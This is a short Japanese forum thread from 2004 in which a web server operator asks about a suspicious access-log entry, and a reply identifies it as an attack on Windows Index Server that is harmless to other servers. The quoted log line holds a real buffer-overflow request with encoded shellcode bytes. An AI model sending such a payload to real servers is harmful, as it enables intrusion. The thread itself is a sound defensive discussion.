No.15289 AN HTTPDのアクセスログ。(クラッキング目的のアクセス?)

• AN HTTPDのアクセスログ。(クラッキング目的のアクセス?) - ぱんだ 04/03/23-16:09 No.15289
  • これは、IndexServerを狙った攻撃です - yasuyuki 04/03/23-17:10 No.15290
    • 安心いたしました。 - ぱんだ 04/03/23-17:55 No.15291

AN HTTPDのアクセスログ。(クラッキング目的のアクセス?)

No.15289 投稿時間:2004年03月23日(Tue) 16:09 投稿者名:ぱんだ URL:

はじめまして、ぱんだです。

WEBサーバにAN HTTPDを使っているのですが変なログが残ります↓

219.xxx.xxx.xxx - - [23/Mar/2004:05:14:33 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 215

長くなってすみません。このような見るからに怪しいアクセスが2日に一回はあります。
これはクラッキング目的のアクセスでしょうか?

これは、IndexServerを狙った攻撃です

No.15290 投稿時間:2004年03月23日(Tue) 17:10 投稿者名:yasuyuki URL:

> はじめまして、ぱんだです。
>
> WEBサーバにAN HTTPDを使っているのですが変なログが残ります↓
>
> 219.xxx.xxx.xxx - - [23/Mar/2004:05:14:33 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 215
>
> 長くなってすみません。このような見るからに怪しいアクセスが2日に一回はあります。
> これはクラッキング目的のアクセスでしょうか?

これはWindows系サーバに搭載されている、IndexServerを狙った攻撃です。
IndexServerを稼働させていないWEBサーバに対しては無害です。

安心いたしました。

No.15291 投稿時間:2004年03月23日(Tue) 17:55 投稿者名:ぱんだ URL:

> これはWindows系サーバに搭載されている、IndexServerを狙った攻撃です。
> IndexServerを稼働させていないWEBサーバに対しては無害です。

返信ありがとうございました。
安心いたしました(^_^)

|目次|掲示板|過去ログ目次|▲頁先頭|